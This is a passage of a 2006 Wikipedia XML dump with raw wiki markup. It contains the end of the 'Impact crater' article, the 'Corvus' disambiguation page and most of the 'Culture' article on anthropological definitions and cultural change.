Current estimates of the rate of cratering on the Earth suggest that from one to three craters with a width greater than 20 kilometers are created every million years. This indicates that there are far more relatively young craters on the planet than have been discovered so far.

== Formation and structure ==

An object falling from open space hits the Earth with a minimum velocity of 11.6 km/s (7 mi/s). Since the energy from motion grows as the square of the velocity, this gives moving rock more energy per kilogram than ordinary chemical explosives. Massive objects can easily cause kiloton explosions that resemble nuclear explosions. Seismographs record about one multikiloton impact somewhere on the Earth each year, usually in mid-ocean.

If the object weighs more than 1,000 tonnes, an atmosphere does not slow it down much, though smaller bodies can be substantially slowed by atmospheric drag, as they have a higher ratio of surface area to mass. In any case, the temperatures and pressures on the object are extremely high.  These temperature and pressure extremes can destroy [[chondrite|chondritic]] or [[carbonaceous chondrite|carbonaceous chondritic]] bodies before they ever reach ground, but metallic iron-nickel meteorites have more structural integrity and can strike the surface of the Earth in a violent explosion.

When the object hits, it compresses a column of air, water and rock into an extremely hot [[Plasma physics|plasma]]. This plasma expands violently, and cools rapidly (i.e. it explodes). The plasma and other ejecta splashes at orbital or near-orbital speeds. It can be thrown off into space, or can travel several times around the planet before re-entering as secondary meteors. Airless planets usually preserve stains of the ejecta around impact craters as a pattern of &quot;rays&quot;. Other non-impact theories for crater-ray formation have been suggested, in the scientific literature.

[[Image:Valhalla_crater_on_Callisto.jpg|thumb|left|250px|Multi-ringed crater Valhalla on Jupiter's moon Callisto]]

Very energetic chemistry occurs in the plasma. In an Earth impact, powerful acids can be formed from saltwater and air.  The vaporized rock of the plasma condenses into characteristic cone-shaped droplets of glass called [[tektite]]s, and these are widely distributed by the high speeds. Tektites are found in isolated strewnfields on Earth. Note: Several researchers reject the popular impact-origin theory of tektites based on comparisons to bonafide impactite glasses. Curiously, the largest and youngest (700,000 years ago) tektite strewnfield, known as the Australasian field, has no known crater associated with it; this fact strongly suggests that, at least in this case, the tektites are not linked to an impact. A giant &quot;fresh&quot; impact site, less than a million years old, should be visible on land or in the sea. No such Asian impact crater has ever been found..

Oceanic impacts can be considerably more damaging than those on land. Large objects will invariably penetrate or displace the water to impact the seabed, causing huge [[tsunami]]s over a large area. The impact at [[Chicxulub, Yucatán]] is believed to have produced tsunamis 50 to 100 metres (150-300 feet) high which deposited debris many miles inland.

The result of an impact on land or at sea is a crater. There are two forms, &quot;simple&quot; and &quot;complex&quot;. The [[Barringer crater]] in [[Arizona]] is a perfect example of a simple crater, a straightforward bowl in the ground. Simple craters are generally less than four kilometers across.

Complex craters are larger, and have uplifted centers that are surrounded by a trough, plus broken rims. The uplifted center is due to the &quot;rebound&quot; of the earth after the impact. It is something like the ripple pattern created by a drop of water into a pool, frozen into the Earth when the melted rock cooled and solidified.

[[Image:Mimas_moon.jpg|frame|right|Giant impact crater on Saturn's moon Mimas]]

In either case, the size of the crater depends on the size of the impactor and the material in the impact regions. Relatively soft materials yield smaller craters than brittle materials. The size of craters invariably changes over time; in the short term, craters shrink as a result of slumping, and over the longer term [[erosion]] and other geological processes quickly hide impact craters on the Earth. The Barringer Crater is one of the best-preserved on the planet, but it is only about 50,000 years old. There are almost no signs of the 65 million year-old Chicxulub crater on the Earth's surface, despite it being one of the largest known on the planet.

Some volcanic features can resemble impact craters, and [[breccia]]ted [[clastic rocks|rocks]] are associated with other geological formations besides impact craters. Non-explosive volcanic craters can usually be distinguished from impact craters by their irregular shape and the association of volcanic flows and other volcanic materials. An exception is that impact craters on Venus often have associated flows of melted material.

The distinctive mark of an impact crater is the presence of rock that has undergone shock-metamorphic effects, such as [[shatter cones]], melted rocks, and crystal deformations. The problem is that these materials tend to be deeply buried, at least for simple craters. They tend to be revealed in the uplifted center of a complex crater, however.

Impacts produce distinctive &quot;shock-metamorphic&quot; effects that allow impact sites to be distinctively identified. Such shock-metamorphic effects can include:

* A layer of shattered or &quot;[[breccia]]ted&quot; rock under the floor of the crater. This layer is called a &quot;breccia lens&quot;.
* Shatter cones, which are chevron-shaped impressions in rocks. Such cones are formed most easily in fine-grained rocks.
* High-temperature rock types, including laminated and welded blocks of sand, [[spherulite]]s and [[tektite]]s, or glassy spatters of molten rock. The impact origin of tektites has been questioned by some researchers; they have observed some volcanic features in tektites not found in impactites. Tektites are also drier (contain less water) than typical impactites. While rocks melted by the impact resemble volcanic rocks, they incorporate unmelted fragments of bedrock, form unusually large and unbroken fields, and have a much more mixed chemical composition than volcanic materials spewed up from within the Earth. They also may have relatively large amounts of trace elements that are associated with meteorites, such as nickel, platinum, iridium, and cobalt. Note: it is reported in the scientific literature that some &quot;shock&quot; features, such as small shatter cones, which are often reported as being associated only with impact events, have been found in terrestrial volcanic ejecta.
* Microscopic pressure deformations of minerals. These include fracture patterns in crystals of quartz and feldspar, and formation of high-pressure materials such as diamond, derived from graphite and other carbon compounds, or stishovite and [[coesite]], varieties of [[shocked quartz]].

Craters can also be created from underground [[nuclear weapon|nuclear explosions]]. One of the most crater-pocked sites on the planet is the [[Nevada Test Site]], where a number of craters were purposely made during its years as a center for [[nuclear testing]] (see, for example, [[Operation Plowshare]]).

== Crater categorization ==
In [[1978]], Chuck Wood and Leif Andersson of the Lunar &amp; Planetary Lab devised a system of categorization of lunar impact craters. They used a sampling of craters that were relatively unmodified by subsequent impacts, then grouped the results into five broad categories. These successfully accounted for about 99% of all lunar impact craters.

The LPC Crater Types were as follows:

* ''ALC'' &amp;mdash; small, cup-shaped craters with a diameter of about 10 km or less, and no central floor. The [[archetype]] for this category is '[[Albategnius (crater)|Albategnius C]]'.
* ''BIO'' &amp;mdash; similar to an ALC, but with small, flat floors. Typical diameter is about 15 km. The lunar crater archetype is [[Biot (crater)|Biot]].
* ''SOS'' &amp;mdash; the interior floor is wide and flat, with no central peak. The inner walls are not [[wiktionary:terrace|terrace]]d. The diameter is normally in the range of 15-25 km. The archetype is [[Sosigenes (crater)|Sosigenes crater]].
* ''TRI'' &amp;mdash; these complex craters are large enough so that their inner walls have slumped to the floor. They can range in size from 15-50 km in diameter. The archetype crater is [[Triesnecker (crater)|Triesnecker]].
* ''TYC'' &amp;mdash; these are larger than 50 km, with [[wiktionary:terrace|terrace]]d inner walls and relatively flat floors. They frequently have large central peak formations. [[Tycho (crater)|Tycho crater]] is the archetype for this class.

Beyond a couple of hundred kilometers diameter, the central peak of the TYC class disappear and they are classed as basins.

==Lists of craters==
* [[List of impact craters on Earth]]
* [[List of craters on Mercury]]
* [[List of craters on the Moon]]
* [[List of craters on Mars]]
* [[List of features on Phobos and Deimos]]
* [[List of geological features on Jupiter's smaller moons]]
* [[List of craters on Europa]]
* [[List of craters on Ganymede]]
* [[List of craters on Callisto]]
* [[List of geological features on Saturn's smaller moons]]
* [[List of geological features on Mimas]]
* [[List of geological features on Enceladus]]
* [[List of geological features on Tethys]] 
* [[List of geological features on Dione]] 
* [[List of geological features on Rhea]]
* [[List of geological features on Iapetus]]
* [[List of craters on Puck]] 
* [[List of geological features on Miranda]]
* [[List of geological features on Ariel]] 
* [[List of craters on Umbriel]] 
* [[List of geological features on Titania]] 
* [[List of geological features on Oberon]]
* [[List of craters on Triton]]

===Notable impact craters on Earth===

* [[Barringer Crater]] ([[United States|US]])
* [[Chesapeake Bay impact crater]] (Eastern US)
* [[Chicxulub Crater]] (Mexico)
* [[Haughton impact crater]] ([[Canada]])
* [[Lonar crater]] ([[India]])
* [[Mahuika crater]] ([[New Zealand]])
* [[Manicouagan Reservoir]] ([[Canada]])
* [[Manson crater]] ([[United States|US]])
* [[Mistastin crater]] ([[Canada]])
* [[Noerdlinger Ries|Nördlinger Ries]] ([[Germany]])
* [[Catskill Mountains|Panther Mountain]]  [[New York]], ([[United States|US]])
* [[Rochechouart crater]] ([[France]])
* [[Sudbury Basin]] ([[Canada]])
* [[Silverpit crater]] ([[United Kingdom]], located in the [[North Sea]])
* [[Rio Cuarto craters]] ([[Argentina]])
* The [[Lake Siljan|Siljan Ring]] ([[Sweden]])
* [[Vredefort crater]] ([[Vredefort]], [[South Africa]])
* [[Weaubleau-Osceola structure|Weaubleau-Osceola impact structure]] (Central US)
* [[Kaali crater]] ([[Estonia]])

See the [http://www.unb.ca/passc/ImpactDatabase/essay.html  Earth Impact Database,] a website concerned with over 160 identified impact craters on the Earth.

===Some extraterrestrial craters===

* [[Caloris Basin]] ([[Mercury (planet)|Mercury]])
* [[Hellas Basin]] ([[Mars (planet)|Mars]])
* [[Mare Orientale]] ([[Moon]])
* [[Petrarch crater]] (Mercury)
* [[South Pole-Aitken basin]] (Moon)
* [[Herschel (crater on Mimas)|Herschel crater]] ([[Mimas (moon)|Mimas]])

==References==
* Charles A. Wood and Leif Andersson, ''[http://adsabs.harvard.edu//full/seri/LPSC./0009//0003669.000.html New Morphometric Data for Fresh Lunar Craters]'', [[1978]], Proceedings 9th Lunar and Planet. Sci. Conf.
* Bond, J. W., &quot;The development of central peaks in lunar craters&quot;, ''Moon and the Planets'', vol. 25, Dec. 1981.
* Melosh, H.J., 1989, Impact cratering: A geologic process: New York, Oxford University Press, 245 p.

==See also==
* [[Caldera]]
* [[Cretaceous-Tertiary extinction event]]
* [[Impact event]]
* [[Nemesis (star)|Nemesis]]
* [[Ray system]]
* [[Depth]]

==External links==
{{Commons|Impact crater}}
*[http://planetscapes.com/solar/eng/tercrate.htm Photographs of terrestrial impact craters.]
*[http://scsn.seis.sc.edu/Publications/GRLFinalDraft(web).pdf a study of a South Carolina crater]
*[http://www.unb.ca/passc/ImpactDatabase/ The Geological Survey of Canada Crater database, 172 impact structures]
*[http://www.spacedaily.com/news/deepimpact-02k.html A recent news report about tektites]
*[http://www.ottawa.rasc.ca/astronomy/earth_craters/index.html Aerial Explorations of Terrestrial Meteorite Craters]
*[http://bbs.keyhole.com/ubb/download.php?Number=71111 Google Earth Placemarker based on the Geological Survey of Canada Crater database (KML)]
*[http://www.thinklemon.com/pages/ge/ All 172 confirmed meteor impact sites on earth, viewable in Google Earth (Largest, Most recent, Per continent, Including size indicator)]
*[http://www.somerikko.net/old/geo/imp/impacts.htm Impact sites, with individual bibliographies]
[[Category:Craters]]
[[Category:Impact events|*]]
[[Category:Planetary science]]
[[Category:Depressions]]

&lt;!-- The below are interlanguage links. --&gt;

[[cs:Impaktní kráter]]
[[da:Krater]]
[[de:Einschlagkrater]]
[[es:Cráter (impacto)]]
[[fr:Cratère]]
[[ko:크레이터]]
[[id:Kawah Tabrakan Benda Luar Angkasa di Bumi]]
[[it:Cratere meteoritico]]
[[nl:Inslagkrater]]
[[ja:クレーター]]
[[pl:Krater uderzeniowy]]
[[pt:Cratera]]
[[ru:Астроблема]]
[[sk:Impaktný kráter]]
[[fi:Kraatteri]]
[[sv:Nedslagskrater]]
[[zh:撞击坑]]</text>
    </revision>
  </page>
  <page>
    <title>Corvus</title>
    <id>6417</id>
    <revision>
      <id>41678809</id>
      <timestamp>2006-03-01T00:34:55Z</timestamp>
      <contributor>
        <username>Mennis</username>
        <id>309115</id>
      </contributor>
      <comment>Corvus is no more.</comment>
      <text xml:space="preserve">See:
* '''''[[Crow|Corvus]]''''' is the [[genus|generic]] name of large [[passerine]] [[bird]]s including the [[raven]] and [[crow]] species.
* '''[[Corvus (constellation)|Corvus]]''' ([[Latin]] - the ''[[crow]]'' or ''[[raven]]'') is a small southern [[constellation]].
* '''[[Corvus (weapon)|Corvus]]''' ([[Latin]] - the ''[[crow]]'' or ''[[raven]]'') was a weapon used on Roman ships during the ''[[First Punic War]]''.
* '''[[Corvus (band)|Corvus]]''' is an alternative music band based in [[Phoenix, Arizona]].
* '''[[Corvus (company)|Corvus]]''' was a computer hardware manufacturer.

{{disambig}}

[[de:Corvus]]
[[fi:Corvus]]</text>
    </revision>
  </page>
  <page>
    <title>Culture</title>
    <id>6418</id>
    <revision>
      <id>42085589</id>
      <timestamp>2006-03-03T18:59:39Z</timestamp>
      <contributor>
        <ip>83.180.182.154</ip>
      </contributor>
      <comment>/* Cultures of contemporary countries and regions */</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[culture (disambiguation)]].}}
The word '''''culture''''', from the [[Latin]]  ''colo, -ere'', with its root meaning &quot;to cultivate&quot;, generally refers to patterns of human activity and the symbolic structures that give such activity significance. Different definitions of &quot;culture&quot; reflect different theoretical bases for understanding, or criteria for evaluating, human activity. Anthropologists most commonly use the term &quot;culture&quot; to refer to the universal human capacity to classify, codify and communicate their experiences [[symbol]]ically. This capacity is taken as a defining feature of the genus ''[[homo (genus)|Homo]]'', though [[Jane Goodall]] (''The Chimpanzees of Gombe: Patterns of Behavior'', 1986) identified aspects of culture among our closest relatives.

==Defining culture==
Different definitions of ''culture'' reflect different theories for understanding - or criteria for evaluating - human activity.

[[Edward Burnett Tylor |Sir Edward B. Tylor]] wrote in 1871 that &quot;culture or [[civilization]], taken in its wide ethnographic sense, is that complex whole which includes knowledge, belief, art, morals, law, custom, and any other capabilities and habits acquired by man as a member of society&quot;, while a 2002 document from the United Nations agency [[UNESCO]] states that culture is the &quot;set of distinctive spiritual, material, intellectual and emotional features of society or a social group, and that it encompasses, in addition to art and literature, [[lifestyle]]s, ways of living together, value systems, traditions and beliefs&quot;. [http://www.unesco.org/education/imld_2002/unversal_decla.shtml UNESCO, 2002] While these two definitions range widely, they do not exhaust the many uses of this concept - in 1952 [[Alfred L. Kroeber|Alfred Kroeber]] and Clyde Kluckhohn compiled a list of more than 200 different definitions of ''culture'' in their book, ''Culture: A Critical Review of Concepts and Definitions'' [Kroeber and Kluckhohn, 1952].
===Culture as values, norms, and artifacts===
A common way of understanding culture sees it as consisting of three elements:
# [[Value (personal and cultural)|''values'']]
# [[Norm (sociology)|''norms'']]
# [[Artifact (archaeology)|''artifacts'']].
(See ''Dictionary of Modern Sociology'', 1969, 93, cited at [http://www.info.gov.hk/coy/eng/report/doc/Youth_Statistical/2002/app/Chp6_Cultural_Capital.pdf])
Values comprise ideas about what in life seems important. They guide the rest of the culture. Norms consist of expectations of how people will behave in different situations. Each culture has different methods, called ''sanctions'', of enforcing its norms. Sanctions vary with the importance of the norm; norms that a society enforces formally have the status of ''[[law]]s''. Artifacts &amp;mdash; things, or material culture &amp;mdash; derive from the culture's values and norms.

[[Julian Huxley]] gives a slightly different division, into inter-related &quot;mentifacts&quot;, &quot;socifacts&quot; and &quot;artifacts&quot;, for ideological, sociological, and technological subsystems respectively. Socialization, in Huxley's view, depends on the belief subsystem. The sociological subsystem governs interaction between people. Material objects and their use make up the technological subsystem. [http://fog.ccsf.cc.ca.us/~aforsber/ccsf/culture_defined.html]

As a rule, [[archaeology|archeologists]] focus on material culture whereas [[cultural anthropology|cultural anthropologists]] focus on symbolic culture, although ultimately both groups maintain interests in the relationships between these two dimensions. Moreover, anthropologists understand &quot;culture&quot; to refer not only to [[consumption goods]], but to the general processes which produce such goods and give them meaning, and to the social relationships and practices in which such objects and processes become embedded.
===Culture as civilization===
Many people today use a conception of &quot;culture&quot; that developed in [[Europe]] during the 18th and early 19th centuries. This idea of culture then reflected inequalities within European societies, and between European powers and their colonies around the world. It identifies &quot;culture&quot; with &quot;[[civilization]]&quot; and contrasts the combined concept with &quot;[[nature]]&quot;. According to this thinking, one can classify some countries as more civilized than others, and some people as more cultured than others. Thus some cultural theorists have actually tried to eliminate popular or mass culture from the definition of culture. Theorists like [[Matthew Arnold]] (1822-1888) or [[F. R. Leavis | the Leavises]] regard culture as simply the result of &quot;the best that has been thought and said in the world&amp;#8221; (Arnold, 1960: 6); Arnold contrasted culture with social chaos or anarchy. On this account, culture links closely with social cultivation: the progressive refinement of human behavior. Arnold consistently uses the word this way: &quot;...culture being a pursuit of our total perfection by means of getting to know, on all the matters which most concern us, the best which has been thought and said in the world&quot;. [http://www.library.utoronto.ca/utel/nonfiction_u/arnoldm_ca/ca_all.html Arnold, 1882]
''Italic text''
In practice, ''culture'' referred to [[elite | élite]] goods and activities such as ''[[haute cuisine]]'', high fashion or ''[[haute couture]]'', [[museum]]-caliber [[art]] and [[European classical music|classical music]], and the word ''cultured'' described people who knew about, and took part in, these activities. For example, someone who used 'culture' in the sense of 'cultivation' might argue that [[European classical music|classical music]] &quot;is&quot; more refined than music produced by working-class people such as [[punk rock]] or than the indigenous music traditions of aboriginal peoples of [[Australia]].

People who use &quot;culture&quot; in this way tend not to use it in the plural as &quot;cultures&quot;. They do not believe that distinct cultures exist, each with their own internal [[logic]] and [[Value (personal and cultural)|value]]s; but rather that only a single standard of refinement suffices, against which one can measure all groups. Thus, according to this [[worldview]], people with different customs from those who regard themselves as cultured do not usually count as &quot;having a different culture&quot;; but class as &quot;uncultured&quot;. People lacking &quot;culture&quot; often seemed more &quot;natural&quot;, and observers often defended (or criticized) elements of [[high culture]] for repressing &quot;[[human nature]]&quot;.

From the 18th century onwards, some social critics have accepted this contrast between cultured and uncultured, but have stressed the interpretation of refinement and of sophistication as corrupting and unnatural developments which obscure and distort people's essential nature. On this account, [[folk music]] (as produced by working-class people) honestly expresses a natural way of life, and classical music seems superficial and decadent. Equally, this view often portrays non-[[Western culture|Western]] people as '[[noble savage]]s' living [[authenticity (philosophy)|authentic]] unblemished lives, uncomplicated and uncorrupted by the highly-stratified [[capitalism | capitalist]] systems of [[western culture | the West]].

Today most social scientists reject the [[monadic]] conception of culture, and the opposition of culture to [[nature (innate) | nature]]. They recognize non-[[élite]]s as just as cultured as élites (and non-Westerners as just as civilized) - simply regarding them as just cultured in a different way. Thus social observers contrast the '''&quot;high&quot; culture''' of élites to [[Popular culture|'''&quot;popular&quot; or pop culture''']], meaning goods and activities produced for, and consumed by, non-élite people or the [[proletariat|masses]]. (Note that some classifications relegate both [[high culture|high]] and [[low culture|low cultures]] to the status of [[subculture]]s.)

===Culture as worldview===
During the [[Romantic era]], scholars in [[Germany]], especially those concerned with [[nationalism|nationalist]] movements - such as the nationalist struggle to create a &quot;Germany&quot; out of diverse principalities, and the nationalist struggles by ethnic minorities against the [[Austro-Hungarian Empire]] - developed a more inclusive notion of culture as &quot;[[worldview]]&quot;. In this mode of thought, a distinct and incommensurable world view characterizes each ethnic group. Although more inclusive than earlier views, this approach to culture still allowed for distinctions between &quot;civilized&quot; and &quot;primitive&quot; or &quot;tribal&quot; cultures.

By the late 19th century, [[anthropology|anthropologists]] had adopted and adapted the term ''culture'' to a broader definition that they could apply to a wider variety of societies. Attentive to the theory of [[evolution]], they assumed that all human beings evolved equally, and that the fact that all humans have cultures must in some way  result from human evolution. They also showed some reluctance to use biological evolution to explain differences between specific cultures - an approach that either exemplified a form of, or legitimized forms of, [[racism]]. They believed that biological evolution would produce a most inclusive notion of culture, a concept that anthropologists could apply equally to non-literate and to literate societies, or to nomadic and to sedentary societies. They argued that through the course of their evolution, human beings evolved a universal human capacity to classify experiences, and to encode and communicate them [[symbol|symbolically]]. Since human individuals learned and taught these symbolic systems, the systems began to develop independently of biological evolution (in other words, one human being can learn a belief, value, or way of doing something from another, even if the two humans do not share a biological relationship). That this capacity for symbolic thinking and social learning stems from human evolution confounds older arguments about [[nature versus nurture]]. Thus [[Clifford Geertz]] (1973: 33 ff.) has argued that human physiology and neurology developed in conjunction with the first cultural activities, and Middleton (1990: 17 n.27) concluded that human &quot;'instincts' were culturally formed&quot;.

People living apart from one another develop unique cultures, but elements of different cultures can easily spread from one group of people to another. Culture changes dynamically and people can (must?) teach and learn culture, making it a potentially rapid form of [[adaptation (biology)|adaptation]] to change in physical conditions. Anthropologists view culture as not only as a product of biological evolution but as a supplement to it, as the main means of human adaptation to the world.

This view of culture as a symbolic system with adaptive functions, and one which varies from place to place, led anthropologists to conceive of different cultures as defined by distinct patterns (or structures) of enduring, arbitrary, conventional sets of [[meaning]], which took concrete form in a variety of artifacts such as [[Mythology|myth]]s and [[ritual]]s, [[tool]]s, the design of housing, and the planning of villages. Anthropologists thus distinguish between '''material culture''' and '''symbolic culture''', not only because each reflects different kinds of human activity, but also because they constitute different kinds of data that require different methodologies. Since at lest the 1980s, many archaeologists ([[Ian Hodder]], for example) have argued that these two types of culture cannot be separated but that much of a societiy's symbolic culture is communicated and expressed through its material culture.

This view of culture, which came to dominate between [[World War I]] and [[World War II]], implied that each culture had bounds and demanded interpretation as a whole, on its own terms. There resulted a belief in [[cultural relativism]]; the belief that one had to understand an individual's actions in terms of his or her culture; that one had to understand a specific [[cultural artifact]] (a [[ritual]], for example) in terms of the larger [[symbolic]] system of which it forms a part.

Nevertheless, the belief that culture comprises symbolical codes and can thus pass via teaching from one person to another meant that cultures, although bounded, would change. Cultural change could result from [[invention]] and [[innovation]], but it could also result from contact between two cultures. Under peaceful conditions, contact between two cultures can lead to people &quot;borrowing&quot; (really, learning) from one another ([[diffusion (anthropology)|diffusion]] or [[transculturation]]). Under conditions of violence or political inequality, however, people of one society can &quot;steal&quot; cultural artifacts from another, or impose cultural artifacts on another ([[acculturation]]). [[Diffusion of innovations]] theory presents a research-based model for how, when and why people adopt new ideas.

All human societies have participated in these processes of diffusion, [[transculturation]], and [[acculturation]], and few anthropologists today see cultures as bounded. Modern anthropologists argue that instead of understanding a cultural artifact in terms of its own culture, one needs to understand it in terms of a broader history involving contact and relations with other cultures.

In addition to the aforementioned processes, migration on a major scale has characterized the world, particularly since the days of [[Christopher Columbus|Columbus]]. Phenomena such as [[colonialism|colonial expansion]] and forced migration through [[slavery]] became prominent. As a result, many societies have become culturally heterogeneous. Some anthropologists have argued nevertheless that some unifying cultural system bound heterogeneous societies, and that it offers advantages to understand heterogenous elements as [[subcultures]]. Others have argued that no unifying or coordinating cultural system exists, and that one must understand heterogeneous elements together as forming a [[multicultural]] society. The spread of the doctrine of [[multiculturalism]] has coincided with a resurgence of [[identity politics]], which involve demands for the recognition of social subgroups' cultural uniqueness.

[[Sociobiological theory|Sociobiologists]] argue that observers can best  understand many aspects of culture in the light of the concept of the ''[[meme]]'', first introduced by [[Richard Dawkins]] in his 1976 book ''[[The Selfish Gene]]''. Dawkins suggests the existence of units of culture - ''memes'' - roughly analogous to ''genes'' in [[evolutionary biology]]. Although this view has gained some popular currency, anthropologists generally reject it.

===Culture as patterns of products and activities===
In the early 20th century, [[cultural anthropology|anthropologists]] understood culture to refer not to a set of discrete products or activities (whether material or symbolic) but rather to underlying [[pattern]]s of products and activities. Moreover, they assumed that such patterns had clear bounds (thus, some people confuse &quot;culture&quot; with the society that has a particular culture).

Geertz distinguishes between ''culture'' and ''social system'': &quot;&amp;hellip;the former is an ordered system of meanings and symbols in terms of which social interaction takes place; &amp;hellip;the latter&amp;hellip; [is] the pattern of social interaction itself.&quot; (Keiser, 1969:viii)

In the case of smaller societies, in which people merely fell into categories of [[ageing|age]], [[gender]], household and descent group, anthropologists believed that people more-or-less shared the same set of values and conventions. In the case of larger societies, in which people undergo further categorization by region, [[race]], [[ethnicity]], and [[social class|class]], anthropologists came to believe that members of the same society often had highly contrasting values and conventions. They thus used the term [[subculture]] to identify the cultures of parts of larger societies. Since subcultures reflect the position of a segment of society ''vis a vis'' other segments and the society as a whole, they often reveal processes of [[domination]] and [[resistance movement|resistance]].

The 20th century also saw the popularization of the idea of [[corporate culture]] - distinct and malleable within the context of an employing [[organization]] or of a [[workplace]].

===Culture as symbols===
The symbolic view of culture, the legacy of Clifford Geertz (1973) and Victor Turner (1967), holds symbols to be both the practices of social actors and the context that gives such practices meaning. Anthony P. Cohen (1985) writes of the &quot;symbolic gloss&quot; which allows social actors to use common symbols to communicate and understand each other while still imbuing these symbols with personal significance and meanings. Symbols provide the limits of cultured thought. Members of a culture rely on these symbols to frame their thoughts and expressions in intelligible terms. In short, symbols make culture possible, reproducible and readable. They are the &quot;webs of significance&quot; in Weber's sense that, to quote Pierre Bourdieu (1977), &quot;give regularity, unity and systematicity to the practices of a group...&quot;.

===Culture as stabilizing mechanism===
Modern cultural theory also considers the possibility that (a)
culture itself is a product of stabilization tendencies inherent
in evolutionary pressures toward self-similarity and self-cognition of societies as wholes, or [[tribalism]]s. See
[[Steven Wolfram]] &quot;[[A new kind of science]]&quot; on iterated simple algorithms from genetic unfolding, from which the concept of culture as an operating mechanism can be developed, and [[Richard Dawkins]] &quot;[[The extended phenotype]]&quot; for discussion of genetic and [[memetic]] stability over time, through [[negative feedback]] mechanisms, such as [[Wikipædia]].

==Cultural change==
Cultures, by predisposition, both embrace and resist [[change]] dependence of culture traits. For example, men and women have complementary roles in many cultures. One sex might desire changes that affect the other, as happened in the second half of the 20th century in [[western culture]]s.

Cultural change can come about due to the environment, to inventions (and other internal influences), and to contact with other cultures. For example, the end of the last [[ice age]] helped lead to the invention of [[agriculture]], which in its turn brought about many cultural innovations.

In [[diffusion (anthropology)|diffusion]], the form of something moves from one culture to another, but not its meaning. For example, [[hamburger]]s, mundane in the United States, seemed exotic when introduced into China. &quot;Stimulus diffusion&quot; refers to an element of one culture leading to an invention in another. [[Diffusions of innovations]] theory presents a research-based model for why and when individuals and cultures adopt new ideas, practices, and products.

&quot;Acculturation&quot; has different meanings, but in this context refers to replacement of the traits of one culture with those of another, such as happened to certain [[Indigenous peoples of the Americas|Native American]] tribes and to many indigenous peoples across the globe during the process of [[colonization]].

Related processes on an individual level include [[cultural assimilation|assimilation]] (adoption of a different culture by an individual) and [[transculturation]].



==Cultural studies==
[[Cultural studies]] developed in the late 20th century, in part through the re-introduction of [[Marxist]] thought into [[sociology]], and in part through the [[articulation (sociology)|articulation]] of [[sociology]] and other academic disciplines such as [[literary criticism]]. This movement aimed to focus on the analysis of subcultures in [[capitalist]] societies. Following the non-anthropological tradition, [[cultural studies]] generally focus on the study of consumption goods (such as [[fashion]], [[art]], and [[literature]]). Because the 18th- and 19th-century distinction between &quot;high&quot; and &quot;low&quot; culture seems inappropriate to apply to the mass-produced and mass-marketed consumption goods which cultural studies analyses, these scholars refer instead to &quot;popular culture&quot;.

Today, some [[anthropology|anthropologists]] have joined the project of cultural studies. Most, however, reject the identification of culture with consumption goods. Furthermore, many now reject the notion of culture as bounded, and consequently reject the notion of [[subculture]]. Instead, they see culture as a complex web of shifting patterns that link people in different locales and that link social formations of different scales. According to this view, any group can construct its own [[cultural identity]].

==Sample list of cultures==
===Cultures of contemporary countries and regions===
''Main article: [[List of national culture articles]].''

&lt;div style=&quot;float: left; width: 33%&quot;&gt;
*[[Culture of Anga|Anga]]
*[[Culture of Albania|Albania]]
*[[Culture of Angola|Angola]]
*[[Culture of Australia|Australia]]
*[[Culture of Belgium|Belgium]]
*[[Culture of Bhutan|Bhutan]]
*[[Culture of Brazil|Brazil]]
*[[Culture of Bosnia and Herzegovina|Bosnia and Herzegovina]]
*[[Culture of Bulgaria|Bulgaria]]
*[[Culture of Canada|Canada]]
**[[Culture of Quebec|Quebec]]
**[[Political culture of Canada]]
*[[Culture of Catalonia|Catalonia]]
*[[Culture of Chile|Chile]]
*[[Culture of China|China]]
**[[Culture of Hong Kong|Hong Kong]]
*[[Culture of Denmark|Denmark]]
*[[Culture of Egypt|Egypt]]
*[[Culture of Finland|Finland]]
&lt;/div&gt;

&lt;div style=&quot;float: left; width: 33%&quot;&gt;
*[[Culture of France|France]]
*[[Culture of Georgia|Georgia]]
*[[Culture of Gibraltar|Gibraltar]]
*[[Culture of Greece|Greece]]
*[[Culture of Hungary|Hungary]]
*[[Culture of India|India]]
*[[Culture of Indonesia|Indonesia]]
*[[Culture of Iran|Iran]]
*[[Culture of Ireland|Ireland]]
*[[Culture of Israel|Israel]]
*[[Culture of Italy|Italy]]
*[[Culture of Japan|Japan]]
*[[Culture of Jersey|Jersey]]
*[[Culture of Korea|Korea]]
**[[Contemporary culture of North Korea|North Korea]]
**[[Contemporary culture of South Korea|South Korea]]
*[[Culture of Kuwait|Kuwait]]
*[[Culture of Lithuania|Lithuania]]
*[[Macedonian Culture (Slavic)|Macedonia]]
*[[Culture of Mexico|Mexico]]
&lt;/div&gt;

&lt;div style=&quot;float: left; width: 33%&quot;&gt;
*[[Culture of the Netherlands|Netherlands]]
*[[Culture of New Zealand|New Zealand]]
**[[Māori culture]]
*[[Culture of Occitania | Occitania]]
*[[Culture of Pakistan | Pakistan]]
*[[Culture of Peru|Peru]]
*[[Culture of Portugal|Portugal]]
*[[Culture of Russia|Russia]]
*[[Culture of South Africa|South Africa]]
*[[Culture of Serbia|Serbia]]
*[[Culture of Spain|Spain]]
*[[Culture of Sweden|Sweden]]
*[[Culture of Switzerland|Switzerland]]
*[[Culture of Turkey|Turkey]]
*[[Culture of the United Kingdom|United Kingdom]]
**[[Culture of England|England]]
**[[Culture of Northern Ireland| Northern Ireland]]
**[[Culture of Scotland|Scotland]]
**[[Culture of Wales|Wales]]
*[[Culture of the United States|United States]]
&lt;/div&gt;

&lt;br clear=&quot;both&quot; /&gt;

=== Contemporary local cultures ===
*[[Culture of New York City]]
*[[Culture of Stockholm]]
*[[Culture of Sydney]]

=== Other contemporary cultures ===
*[[Autistic culture]]
*[[Cassette culture]]&lt;!--does this really belong here?--&gt; &lt;!--I'm ambivalent. --&gt;
*[[Deaf culture]]
*[[Drug culture]]
*[[Esperanto culture]]
*[[Hacker culture]]
*[[Queer culture]]
*[[Underground culture]]
*[[Working class culture|Working-class culture]]
*[[Youth culture]]

=== Historic cultures ===
*[[Assyro-Babylonian culture]]
*[[Clovis culture]] &amp;mdash; pre-historic in [[North America]] and [[Central America]] from about 13,500 years ago
*[[Indus Valley Culture]]
**[[Cemetery H culture]]
*[[La Tene culture]] &amp;mdash; from the [[Iron Age]] in parts of Europe
*[[Natufian culture]] &amp;mdash; in the [[Mediterranean]] more than 10,000 years ago
*[[Paideia]] &amp;mdash; Classical Greek culture
*[[Romanitas]] &amp;mdash; Roman Imperial culture
*[[Weimar culture]]

==References==
* Arnold, Matthew, ''Culture and Anarchy'', 1882. Macmillan and Co., New York. Online at [http://www.library.utoronto.ca/utel/nonfiction_u/arnoldm_ca/ca_titlepage.html].
